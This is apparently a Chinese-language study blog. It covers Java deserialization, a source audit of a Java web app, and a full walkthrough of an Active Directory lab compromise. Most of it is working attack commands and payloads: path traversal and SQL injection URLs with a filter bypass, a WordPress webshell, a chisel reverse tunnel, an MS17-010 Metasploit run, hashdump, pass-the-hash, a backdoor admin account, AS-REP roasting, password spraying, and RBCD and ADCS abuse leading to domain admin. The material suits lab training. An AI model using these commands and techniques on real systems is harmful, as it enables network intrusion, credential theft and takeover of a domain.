0%

定义

反序列化本身是很正常的行为,传递数据要用的,但是当反序列化可控的时候,我们传入的序列化数据被反序列化,自动调用readObject反序列化方法,完事就是套娃,readObject里边又调了啥类的啥方法,一直跟一路跟,最后到达了sink,其实sink是啥洞就是啥洞了

啥东西

user类

得实现Serializable接口,并且得重写readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example.urldns;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
public String name;
public int age;

public User(String name, int age) {
this.name = name;
this.age = age;
}
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
Process exec = Runtime.getRuntime().exec("calc");
}
}

main类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example.urldns;

import java.io.*;

public class Main {
public static byte[] Serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//new一个数组输出流
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);//新建一个对象输出流来接收前边的
objectOutputStream.writeObject(obj);//序列化
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}

public static void Deserialize(byte[] objstream) throws IOException, ClassNotFoundException {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(objstream);//字节数组转换为字节输入流
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);//放入Obj对象里边等待反序列化
System.out.println(objectInputStream.readObject().getClass().getName());//调用readObj实现反序列化

}

public static void main(String[] args) throws IOException, ClassNotFoundException {
User user = new User("qiushan",20);
byte[] serialize = Serialize(user);
System.out.println(serialize);

Deserialize(serialize);

}
}

该漏洞产生危害的原因:某类重写了readObject方法,比方说下边readObject是调用了别的方法,这样依然套娃导致了反序列化一系列调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example.urldns;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
public String name;
public int age;

public User(String name, int age) {
this.name = name;
this.age = age;
}
public void qiushan() throws IOException {
Process exec = Runtime.getRuntime().exec("calc");
}
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
//Process exec = Runtime.getRuntime().exec("calc");
qiushan();
}
}

序列化的对象得实现序列化的接口(或者说继承了某一个类,继承的类里边实现了序列化的接口),所以说审计和研究的过程中一定要研究readObject方法,找readObject可控的,然后去调链子,这个方法可控,然后去一步步跟看方法里边调用了哪些方法,然后直到找到sink,这就是漏洞的利用链

当然审漏洞的过程中肯定是不可能有这样的条件,开发直接把漏洞甩你脸上,这样的话开发也该滚蛋了

我是一条大抽取

手挖

img

第一眼过去这个是基于url的多模块开发的

比方说这个sso是单点登录,plug是插件,user是用户,case是案例模块

这个时候访问对应网站其实就可以通过/sso来访问sso模块的东西

按上周来说我们翻阅每个模块的web-inf/web.xml配置文件里边

对于复杂的多模块项目,实际的请求处理逻辑并不在web.xml中实现,而是在对应的Controller类或方法中。审计时更重要的是了解请求是如何被处理的,而不是仅仅关注请求是如何映射到Servlet的。

一个请求的走向如下:

在一个标准的 Java Web 应用里,请求从客户端(浏览器、App 等)发过来后,整体的调用链路大概是这样的:

  1. 客户端发起请求 → 到达 Tomcat(或其他 Web 容器)的网络 IO 层。
  2. Tomcat 解析请求,匹配到对应的 <url-pattern>,找到要执行的 Servlet(如果是 Spring MVC,这个 Servlet 就是 DispatcherServlet)。
  3. 在真正调用 Servlet 的 service() 方法之前,会先执行一系列注册好的 Filter(过滤器的 doFilter() 方法)。Filter 可以做很多事情:比如权限校验、日志打印、字符编码设置、请求/响应包装……
  4. Filter 处理完后,才会调用到目标 Servlet(例如 DispatcherServlet)的 service() 方法。

img

并且可以看到这里servletname以及对应的pattern显示是springMVC框架的,项目显式地把 DispatcherServlet 注册为处理请求的入口;至于它拦截哪些路径,取决于你配置的 ,常见写法有“/”“*.do”等。DispatcherServlet 随后负责把请求分发到对应的 Controller,这也是审计时把 Controller 作为业务入口的重要原因

  1. Servlet 内部再根据请求 URL、请求方法等信息,转发(forward)或分派(dispatch)到对应的 Controller 方法(如果是 Spring MVC,就是通过 HandlerMapping 找到对应的 Controller,再由 HandlerAdapter 调用 Controller 方法)。
  2. Controller 处理完业务逻辑,返回 ModelAndView(或直接返回数据),接着又会回到 DispatcherServlet,由它来决定怎么渲染视图(如果是 Web 页面)、怎么写回响应。
  3. Filter 还有机会在响应返回给客户端之前,再次执行 doFilter() 的“后置逻辑”(比如给响应头加一些信息、压缩响应体……)。
  • Filter 多是“通用逻辑”,和业务无关
    Filter 一般用来做鉴权、日志、编码、跨域……这些属于通用横切逻辑,并不直接对应某一个业务功能。审计时,大家更关心“某个业务接口是怎么实现的、有没有漏洞”,自然会把目光优先放到 Controller 上——因为 Controller 里才是具体的业务方法(比如 /user/login 对应登录逻辑、/order/create 对应创建订单逻辑)。
  • Spring MVC 等框架的封装,让 Filter “隐形”了
    在 Spring 生态里,我们写业务代码时,很少会去碰 Filter 的细节(除非自己要写自定义 Filter)。大多数时候,框架已经帮我们配好了 CharacterEncodingFilterHiddenHttpMethodFilterSpringSecurityFilterChain(如果用了 Spring Security)这些 Filter。业务同学平时写代码,就是围绕 @Controller@RequestMapping 这些注解来写,自然会觉得“请求是直接进到 Controller”。
  • 审计/排查问题时,“业务视角”优先于“框架视角”
    做安全审计、Bug 排查时,大家最关心的是“哪个接口有漏洞、哪块业务逻辑有问题”。Controller 是业务逻辑的直接载体,Filter 很多是通用基础设施。所以审计人员会先从 Controller 入手,看每个接口有没有做参数校验、有没有越权、有没有 SQL 注入……而 Filter 往往是在“全链路”层面做拦截,只有在排查“全局性问题”(比如所有接口都返回乱码、所有接口都被拦截)时,才会重点看 Filter。

请求一定是先经过 Filter,再到 Controller

现在开始寻找controlller层代码

spring不像上周那种完全servlet开发的项目,可以根据web.xml写的路径那些直接跟,所以我们需要

在springboot里边文件上传的关键词就是:Multipartfile方法来搞

所以我们在搜关键词的同时还是要关注controller层的代码

这里即便说不懂逻辑代码,也可以看到这里写了规则

img

比方说这个文件里边就写了要上传mp4文件

img

接下来搜索Multipartfile文件,

img

跟进去之后右键查找用例,然后只找跟controller层相关的代码

img

这个是要上传指定类型的文件,前边的方法也只是重命名给路径啥的

img

这里是上传文件加了时间戳

文件上传的参数是uploadfile

所以应该把参数里边,post传入

uploadfile=uploadfile&title&oriFileName=”oriFileName&****

接口就是那个接口,放入burp之后,右键修改body编码,编码之后uploadfile后边加上filename就行了

注意这个源码是没有鉴权的

任意文件读取

任意文件读取需要我们先找一下相关的关键字

InputStreamReader

img

这里有readfile进去看看

并非

那我们找实现,就在原先的代码里边

发现有

img

实现代码里边有,关键词FileiIputStream方法

这里边也没有加鉴权

打的话就是

https://ip+端口/plugFileDownAnnex_out.do/?filePathName=../../../../../../../../../../../../etc/passwd

打进去就好了

自动化

手动

sql注入

在java-web的servlet开发中,WEB - INF 是Java Web 应用的“心脏”区域之一,集中了配置、核心代码、安全策略等关键要素,所以我们打开之后先找WEB-INF

img

进去web.xml搜索url的路径

img

看到这么多的servlet,那肯定是servlet开发的了

这么找servlet中开发对应的类

img

翻找到了

img

跟进去

img

service方法拿到了request,request请求拿到了command参数,如果command参数是‘nav’的话就执行下边的navigationText方法,跟进这个方法看看

img

这里是接收request请求里边的这几个参数

跟进这个处理id参数的方法

因为接收id那些参数接受的也是string类型的,因为java是强类型语言,所以拿到是string之后加上我们构造的语句才能说可以进行sql注入

img

img

这里满足了直接拼接

https://ip:port/NavigationAjax?command=nav&id=1‘ or sleep#&name=a&openId=1

这样就可以成功注入了嘛?

在filter过滤器里边/*是覆盖了所有请求

img

这里的SQLFilter

img

接收到的参数geturl拿内容,如果里边有这些参数就不进行下去了直接放行,不包含那几个就继续进行下去,包含那几个就放行

img

我们接着来看一下如果不包含的话,里边是怎么实现过滤sql那些的

img

这里实现了hashkeywords方法

前面是在遍历取参啥的

后边看一下这个方法的实现

img

这里是调用了前边web.xml里的关键词来做匹配,匹配过了就退出

img

那么过滤方法就很简单了,给到请求这样就可以绕过,以为前边鉴权几乎给了很好的绕过方法

https://ip:port/NavigationAjax;Service

post

command=nav&id=1’ or sleep(4)#&name=a&openId=1

SSRF

在MultiServerAjax

的xml文件里边

img

这个跟进去类分析

img

一路跟進去就發現有進行ssrf請求了

img

https://ip:port/MultiServerAjax?command=connect&servername=1&serverDesc=1&serverIp=127.0.0.1&serverport=3306&mainIp=vps&mainPort=3306&serverLevel=3

img

因爲mainIp是它的vps

外网拿shell

给了个ip,进去之后发现是个页面,直接开扫

有很多干扰项

img

http://39.99.234.230/wp-login.php?redirect_to=http%3A%2F%2F39.99.234.230%2Fwp-admin%2F&reauth=1

是一个登录框,admin/123456登陆进去

找模板编辑写一句话🐎

img

有个疑问,他们是怎么找到路径的?

因为拼接路径是wordpress的传统

/wp-content/themes/twentytwentyone/footer.php

imgimg

成功拿shell

img

注意哥斯拉传fscan要用大文件传输

img

反代

vps上执行./chisel server -p 12345 –reverse

靶机上执行./chisel client 47.237.99.196:12345 R:0.0.0.0:1080:socks

做代理转发

img

注意fscan不支持socks代理,所以得把fscan传进目录里边

注意上传fscan执行前要chmod +x赋予执行权限

./fscan -h 172.22.15.0/24

扫描全网段后结果就在同目录下的result.txt

img

img

这几个是活着的

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.26 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.18 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.13 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.35 状态:alive 详情:protocol=ICMP

[2025-07-09 17:08:08] [HOST] 目标:172.22.15.24 状态:alive 详情:protocol=ICMP

看大哥的复现可以提取出已下信息

172.22.15.26 入口
172.22.15.24 MS17-010 web服务
172.22.15.35 XR-0687 域成员
172.22.15.18 XR-CA
172.22.15.13 DC

永恒之蓝打24

开放445端口的

msf6 > setg Proxies socks5:47.237.99.196:1080

msf6 > use exploit/windows/smb/ms17_010_eternalblue

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp_uuid

payload => windows/x64/meterpreter/bind_tcp_uuid

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.15.24

rhosts => 172.22.15.24

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

直接拿下,爽

img

img

代理一改就能访问内网别的机器啦

img

抓一下hush

就是 提取 Windows 本地用户密码的哈希值,为下一步的破解、横向渗透等操作准备“钥匙”。

meterpreter > hashdump

^[Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e52d03e9b939997401466a0ec5a9cbc:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Administrator: 用户名

500: 用户RID

aad3b435b51404eeaad3b435b51404ee: LM哈希

0e52d03e9b939997401466a0ec5a9cbc::: NTLM哈希

Guest:

501:

aad3b435b51404eeaad3b435b51404ee:

31d6cfe0d16ae931b73c59d7e0c089c0:::

拿NTLM哈希进行哈希传递攻击,其中要求目标服务器开启445端口(SMB负责远程登录那些)

psexec.py 背后的过程是:

  1. 通过 445端口连接目标
  2. 使用 Administrator 账号+NTLM哈希 进行 SMB 认证
  3. 在目标系统上 写入并运行一个服务(类似 PSEXESVC.exe
  4. 使用该服务作为通信通道,发送命令并接收回显

proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk

笑死中间socks挂了一直显示失败

img

proxychains psexec.py administrator@172.22.15.24 -hashes ‘:0e52d03e9b939997401466a0ec5a9cbc’ -codec gbk

直接狠狠拿下!

img

flag一般放在user或根目录下、

C:\Windows\system32> dir C:\Users

驱动器 C 中的卷没有标签。

卷的序列号是 46D4-3B9F

C:\Users 的目录

2023/02/01 12:30

.

2023/02/01 12:30

..

2023/06/05 14:55

Administrator

2009/07/14 12:57

Public

​ 0 个文件 0 字节

​ 4 个目录 27,616,792,576 可用字节

img

拿下第二个flag

第二台机器横向渗透

systeminfo查看总体情况

img

发现只是workgroup

说明没有加入域, 非域控、非域成员机 ,横向移动受限,价值较低

net user发现也没有其他用户

img

因为当时只是用哈希骗进去拿到了权限,并不能像远程桌面登录那样直接进去,所以要新建用户

1
2
3
net user qiushanth qs9985** /add               新建用户qiushanth      密码:qs9985**
net user qiushanth /active:yes 激活用户
net localgroup administrators qiushanth /add 添加进管理员组,使其有很多权限

reg query “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections

显示0x0,说明rdp已经启用

如果是0x1,那么执行下面命令来打开

reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

netsh advfirewall firewall set rule group=”remote desktop” new enable=Yes

但是开完全局代理也连接不上呀

img

只能从80端口开的服务打起了

用火狐搞代理就行

记得有phpstudy服务

看开启了phpmyamdin服务,因为phpmyadmin的账号密码就是数据库的账号密码,所以没法搞

所以 得通过phpstudy翻数据库账号密码

C:\phpstudy_pro\WWW\config里边一个config.php文件,type看到其内容为

* The config file of zentaophp. Don’t modify this file directly, copy the item to my.php and change it.

说明是在my.php里边

img

所以现在是要找my.php

img

$config->db->host = ‘127.0.0.1’;

$config->db->port = ‘3306’;

$config->db->name = ‘zdoo’;

$config->db->user = ‘root’;

$config->db->password = ‘root@#123’;

$config->db->prefix = ‘zdoo’;

ok那我们登录phpmyadmin

img

数据库有这些

img

我们要拿OA的用户密码本

  • information_schema:系统数据库,存放数据库元数据,跟业务数据无关,不用管它。
  • mysql:系统数据库,存放MySQL本身的用户权限信息等,也不用管。
  • performance_schemasys:也是MySQL内部性能相关的数据库,不是业务数据。
  • zdoo:这个名字看起来像OA系统用的业务数据库。

查看zdoo数据库,翻user

img

zdoosys_user内容为我们想要的oa密码本

img

这些邮箱一看就是 标准的域用户名格式啊

搜索拿到用户名然后导出

img

哈希密码喷洒攻击

proxychains GetNPUsers.py xiaorang.lab/ -dc-ip 172.22.15.13 -usersfile user.txt -request -outputfile hash.txt

proxychains 挂代理

GetNPUsers.py

  • 针对 Kerberos AS-REP Roasting 攻击,枚举域内用户并获取没有开启“需要预身份验证”(Pre-Authentication) 的账户的 Kerberos AS-REP 响应。
  • 它会尝试从域控制器请求用户的 AS-REP 数据包(如果用户允许),从中提取可用于离线破解的哈希。

xiaorang.lab/

  • 指定了 目标域名
  • xiaorang.lab 是目标Active Directory域名。
  • 域名就是 Active Directory 环境的“网络身份”,告诉工具“我要操作的是哪一块网络和用户资源”。

-dc-ip 172.22.15.13 -

usersfile user.txt -request

对指定的user表发起请求

导出对应出来的密码哈希值

-outputfile hash.txt

$krb5asrep$23$huachunmei@XIAORANG.LAB:626beeccfcee265c8ce7f4535dcf8c7a$3aa033b695b49dc77a3cf4bcefce2c2c625a8478ab3e7bcf23097af4871d22782fc37ab3162342a1e7802328e316daeb37aaaec60dc0552a8a3429d499da6f9a87b3f29530d99ee2d4f2d946344927e13d945e93256ffe18327346ff70f35503bfe695d0d0dcec7a88b5a22d763d184aff8ea34d88ecafaeccabfa3adf5c432e63c4feae542de0c76f7f8d64f16725c6c58572fbc4fba698dad73a5001f7fccf3ee823dd3ec23aeae0ab4147f4f8ef8029112a16fb6c4706286dfad4d3d0d46fbe22987342d35665e5663f928133ce0c0d7a35e01383911c0210d78e5d40a0e22648ef2c29fe89a3efc73e21

$krb5asrep$23$lixiuying@XIAORANG.LAB:604fef13fa7e2098b2f7c9d6d8bf93d8$b09d98fd6eb5b23119351faa360feaf4a7eba953d16cb505e78b2b31f48da96f5b640ca7436b502e4e6627fb402f7f70b331d5cffcd9fcf92c3268f22a21926966727b106e13ae721a1bfa66261e3fd2ff6f11dadc150e4e31db7f4f3a90619e601101fc53dffbdb065c923d4169d2a6cbcbadbde4aacc99728f7ae4f057b01f80abf3309dadd8e2f345f6903e96100efb965768d57ca70598b3ff06ca5a03e4fad2083ab9cc9c7ce46913d68e7c2bf2022e22c8ffee56b15c94ca8f18825ed3964445d6395a13efb6da3674aca7ab02456a6786cbf0bcdc776c953ac847a69bfd0e5622821435243b48dda2

导出的哈希进行破译

直接破译

qiushanth@LAPTOP-C9HA07R3:~/dic$ hashcat -m 18200 hash.txt ~/wordlists/rockyou.txt –force

lixiuying@XIAORANG.LAB/winniethepooh

huachunmei@XIAORANG.LAB/1qaz2wsx

img

crackmapexec rdp 启动,利用爆出来的凭据一个个探测是否开启rdp以及是否能登录

proxychains crackmapexec rdp 172.22.15.0/24 -u lixiuying -p winniethepooh -d XIAORANG.LAB

proxychains crackmapexec rdp 172.22.15.0/24 -u huachunmei -p 1qaz2wsx -d XIAORANG.LAB

然鹅这俩命令执行结果都是如下,显示报错,试了各种方法都不行img

smb探测

所以试试smb吧

proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘lixiuying’ -p ‘winniethepooh’ -d XIAORANG.LAB

proxychains -q crackmapexec smb 172.22.15.0/24 -u ‘huachunmei’ -p ‘1qaz2wsx’ -d XIAORANG.LAB

SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\lixiuying:winniethepooh

SMB 172.22.15.13 445 XR-DC01 [+] XIAORANG.LAB\huachunmei:1qaz2wsx

SMB 172.22.15.18 445 XR-CA [+] XIAORANG.LAB\huachunmei:1qaz2wsx

SMB 172.22.15.35 445 XR-0687 [+] XIAORANG.LAB\huachunmei:1qaz2wsx

试试成功的,用rdp连接试试,smb相比rdp来说可以更快速判断,所以在smb密码喷洒之后再用rdp来搞

其实要搞的就是13,18,35,因为前面fscan已经搞过了一遍了

接管35后继续渗透

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]

└─# proxychains netexec rdp 172.22.15.35 172.22.15.18 172.22.15.13 -u ./username.txt -p ./password.txt –continue

哭了,这个netexec工具比cme好用多了

RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\lixiuying:winniethepooh (Pwn3d!)

RDP 172.22.15.35 3389 XR-0687 [+] xiaorang.lab\huachunmei:1qaz2wsx (Pwn3d!)

如果你是在受控机器上运行,也可以用 Windows 的 SharpHound.exe:

注意登录用户名前面要加域

img

对域控做信息探测

proxychains bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 –zip –dns-tcp

因为这个工具走的是smb和ldap协议,前边smb密码喷洒已经显示能拿下了,所以这么搞针对域控可以实现对其的很好的架构探测

参数 含义
-u, -p 登录使用的域用户密码
-d 域名(FQDN)如 xiaorang.lab
-c all 所有收集模块都启用
-ns 指定 DNS 域控服务器
--zip 抓取完后自动打包为 zip 可导入 BloodHound
--dns-tcp 强制使用 TCP DNS 查询(稳定)
proxychains 强制走代理,如你连域控需穿透网络

来一波信息搜集

img

bloodbound打开,看这个用户出站权限

img

配置RBCD接管

可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限(写权限)

毕竟lixiuying只是普通的域用户而已,并不能:

  • 添加用户;
  • dump 哈希;
  • 控制 AD;
  • 横向攻击其他机器;
  • 域控提权。

所以我们需要利用lixiuying来走RBCD配置获取

达到管理的目的

步骤 工具 动作说明
1️⃣ addcomputer 创建 TEST$ 伪装账户
2️⃣ rbcd 设置 XR-0687 的 RBCD,让它信任 TEST$
3️⃣ getST 以 TEST$ 身份伪装成 Administrator 拿票据
4️⃣ psexec 使用 Kerberos 票据远程执行管理员命令(成功横向或提权)

proxychains addcomputer.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name ‘TEST$’ -computer-pass ‘P@ssw0rd’

  • 使用 lixiuying 这个普通域用户账户,在域控上创建一个新的计算机账户 TEST$
  • 指定密码为 P@ssw0rd
  • 这个计算机账户就是你接下来伪装的“跳板”。
  • 一个普通用户最多创建10个

img

proxychains rbcd.py xiaorang.lab/lixiuying:’winniethepooh’ -dc-ip 172.22.15.13 -action write -delegate-to ‘XR-0687$’ -delegate-from ‘TEST$’

  • XR-0687$ 机器对象写入了 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
  • 意思是:让 TEST$ 可以代表任何用户(比如 Administrator)去访问 XR-0687

img

proxychains getST.py xiaorang.lab/‘TEST$’:‘P@ssw0rd’ -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

  • TEST$ 身份向域控请求一个 Service Ticket(TGS):
  • 说:“我是 TEST$,我想模拟 Administrator 来访问 CIFS/XR-0687。”
  • 如果 RBCD 设置成功,域控会给你这个票据 ✅

img

export KRB5CCNAME=$(pwd)/Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache

告诉系统“Kerberos 票据就在这里

proxychains psexec.py administrator@XR-0687.xiaorang.lab \

-k -no-pass \

-dc-ip 172.22.15.13 \ 域控

-target-ip 172.22.15.35 你创造用户的ip

  • 使用 -k 参数代表 使用当前 kerberos 票据(也就是你上一步拿到的)
  • -no-pass 表示不使用密码,而是凭票据访问
  • psexec.py 会尝试在 XR-0687 上以 Administrator 执行命令,开启 shell、dump flag 等都行
  • 普通域用户

RBCD接管总结

​ │

​ ├─➤ addcomputer.py ← 添加机器账户 TEST$

​ │

​ ├─➤ rbcd.py ← 把 TEST$ 授权为 XR-0687$ 的代理

​ │

​ ├─➤ getST.py ← TEST$ 冒充 Administrator 拿票据

​ │

​ └─➤ psexec.py ← 使用票据登录 XR-0687,获取 SYSTEM

也就是 利用一个“能写属性的低权限用户”,构造一个“合法的域内委派链条”,最终“冒充管理员访问目标主机”。 达到提权的目的

img

获得交互式shell然后读取flag

第三台机器

ADCS漏洞尝试

现在来看,我们还剩下这俩没打

172.22.15.18 XR-CA

CA是证书服务器,扫了下也没啥玩的,剩1个flag应该是要拿到dc
172.22.15.13 DC

尝试利用 ADCS(Active Directory Certificate Services)漏洞,从目标域控制器中获取可用于后续攻击的哈希(NTLM)或证书

proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vuln

proxychains -q 通过代理静默执行 certipy-ad
certipy-ad 用于滥用 ADCS(域证书服务)漏洞的工具
find 扫描域中是否存在潜在可滥用的证书模板和配置
-u lixiuying@xiaorang.lab 域用户账户名
-p winniethepooh 该账户密码
-dc-ip 172.22.15.13 指定域控制器的 IP 地址
-vuln 检测是否存在可利用的 ADCS 漏洞(ESC1~ESC8 等)

用 certipy 先枚举一遍可利用的证书模版(

尝试 ADCS 获取Hash

)

proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout

Certipy v5.0.2 - by Oliver Lyak (ly4k)

试一下cve提权

img

写一下用户

1

proxychains -q certipy-ad account create \

-user ‘hacker2$’ \

-pass ‘Admin@123’ \

-dns XR-DC01.xiaorang.lab \

-dc-ip 172.22.15.13 \

-u lixiuying \

-p ‘winniethepooh’

  • 用已有的低权限域用户(lixiuying)
  • 在 Active Directory 中新建了一个计算机账户 hacker2$
  • 并且:
  • 设置了这个机器账户的密码为:Admin@123
  • 设置了 dnsHostName 为:XR-DC01.xiaorang.lab(你假装它是域控)

为计算机账户请求模板

proxychains -q certipy-ad req -u ‘hacker2$@xiaorang.lab’ -p ‘Admin@123’ -ca ‘xiaorang-XR-CA-CA’ -target 172.22.15.18 -template ‘Machine’

这条命令的作用是:使用 Certipy 工具,通过“机器模板(Machine Template)”请求一个机器账户(**hacker2$**)的证书,从而获取它的凭据,以便后续利用(比如伪造 Kerberos 票据、Pass-the-Cert 等)。

具体步骤和参数解释:

  • proxychains -q:通过代理链运行命令,保持流量走代理,-q 是安静模式减少输出。
  • certipy-ad req:调用 Certipy 工具的“请求证书”功能。
  • -u 'hacker2$@xiaorang.lab':用来认证的用户,这里是新建的机器账户 hacker2$
  • -p 'Admin@123':对应的密码。
  • -ca 'xiaorang-XR-CA-CA':指定证书颁发机构(CA)名字。
  • -target 172.22.15.18:目标服务器 IP,通常是域控的 ADCS 服务所在地址。
  • -template 'Machine':请求的证书模板,机器模板。

拿机器账户nt hash

proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

用你刚申请到的机器证书 xr-dc01.pfx 来进行身份验证,尝试通过 PKINIT(证书认证)获取域控的 TGT(票据授予票证)。

成功拿到 TGT 后,它会保存一个 Kerberos 凭据缓存文件 xr-dc01.ccache。

接着,利用拿到的 TGT 去请求域控机器账户 xr-dc01$ 的 NT Hash(密码哈希值)。

最终输出了该账户的 NT Hash。

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth/dic]

└─# proxychains -q certipy-ad auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:

[*] SAN DNS Host Name: ‘XR-DC01.xiaorang.lab’

[*] Using principal: ‘xr-dc01$@xiaorang.lab’

[*] Trying to get TGT…

[*] Got TGT

[*] Saving credential cache to ‘xr-dc01.ccache’

[*] Wrote credential cache to ‘xr-dc01.ccache’

[*] Trying to retrieve NT hash for ‘xr-dc01$’

[*] Got hash for ‘xr-dc01$@xiaorang.lab’: aad3b435b51404eeaad3b435b51404ee:8b0a575a4d99a0b8f5a8878285942727

img

但是后边尝试用该机器nt hash来请求导出所有用户的hash,但是失败了

提取证书和私钥

certipy-ad cert -pfx xr-dc01.pfx -nokey -out dc01.crt

certipy-ad cert -pfx xr-dc01.pfx -nocert -out dc01.key

通过证书认证写入 RBCD(资源约束委派)权限 (授权)

proxychains -q passthecert.py \

-action write_rbcd \

-crt /home/qiushanth/PassTheCert/Python/test.crt \

-key /home/qiushanth/PassTheCert/Python/test.key \

-domain xiaorang.lab \

-dc-ip 172.22.15.13 \

-delegate-to ‘XR-DC01$’ \

-delegate-from ‘hacker2$’

proxychains -q 使用代理链(常用于穿透代理连接 AD)
passthecert.py 利用证书进行身份认证的攻击脚本
-action write_rbcd 操作类型为 写入 RBCD 权限
-crt / -key 使用 .crt.key 文件进行身份认证
-domain xiaorang.lab 指定目标域
-dc-ip 172.22.15.13 域控 IP
-delegate-to 'XR-DC01$' 目标计算机账号,你要让谁被委派(通常是域控)
-delegate-from 'hacker2$' 当前你控制的机器账号,要赋予其委派能力

这条命令的作用是:让 hacker2$ 这个机器账号获得对 XR-DC01$ 的伪装权限,从而可以假冒任意用户访问它(例如假冒 Administrator 登录域控)

img

获得伪造票据

proxychains -q getST.py xiaorang.lab/‘hacker2$’:‘Admin@123’ -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

使用 hacker2$ 的凭据,假冒 Administrator,请求访问 XR-DC01.xiaorang.lab 上的共享服务的 Kerberos 票据(TGS),从而达到“模拟域管访问目标机器”的目的。

img

参数 说明
proxychains -q 使用代理(静默模式,不输出代理信息)——适用于目标必须走 socks 代理的情况(如 Cobalt Strike Beacon)。
getST.py Impacket 工具之一,用于获取服务票据(TGS)。这是 S4U2Self + S4U2Proxy 攻击的核心脚本。
xiaorang.lab/'hacker2$':'Admin@123' 身份认证信息: • xiaorang.lab 是域名 • hacker2$ 是计算机账户名 • Admin@123 是它的密码(可控主机的密码)
-dc-ip 172.22.15.13 指定域控制器(Domain Controller)的 IP 地址。
-spn cifs/XR-DC01.xiaorang.lab 服务主体名称(SPN):你想访问的目标服务。 这里是 XR-DC01 的 CIFS(共享服务),用于模拟登录目标机器。
-impersonate Administrator 要假冒的用户,这里是域管 Administrator。 前提是你设置过 RBCD(资源委派权限)。

设置然后接管

img

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]

└─# export KRB5CCNAME=/home/qiushanth/Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache

┌──(root㉿LAPTOP-C9HA07R3)-[/home/qiushanth]

└─# proxychains -q psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-DC01.xiaorang.lab -codec gbk

Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

使用缓存的 Kerberos 票据(不提供密码),通过 psexec 模拟登录目标主机 XR-DC01.xiaorang.lab,以 administrator 身份执行命令,走代理,并设置输出编码为 gbk。

CC1链子是依赖jdk8u65版本以下的一个类的readObject方法进行一系列调回的,在更高的版本就已经修改这个类了,所以我们需要先把环境配置为jdk8u65

img

顺便吧把jdk项目结构也换成jdk8u65

加上依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

最后拉进去

先弹一个计算器

有一个名字叫做Transform的接口

img

看一看实现

img

右键查找实现类,看到有这么多类都实现了这个接口

Invoker一看就是执行命令的,我们进去看看

img

看看它重写的transform方法:(三个参数,一个是方法,一个是传入的参数类型,一个是传入的参数值)

对于输入(Object类型的),先getClass获取对象类,再拿方法,方法传递的参数,然后直接方法调用了

这里我们看一下构造函数

img

第一个是默认参数和iarg是空的,第二个才能传进参数

img

我们需要写三个实参呀

这个时候去打

img

这里看到exec调用的是string类型的参数,但是InvokerTransformer使用的那个参数类型是Class[],所以我们还得new一下

1
2
Class[] 就是“Class 对象的数组”。当你看到方法参数写成 Class[] paramTypes 时,意思是“传入一个类型数组”,数组里的每一项都是一个 Class 对象,用来描述某个方法或构造器的参数类型
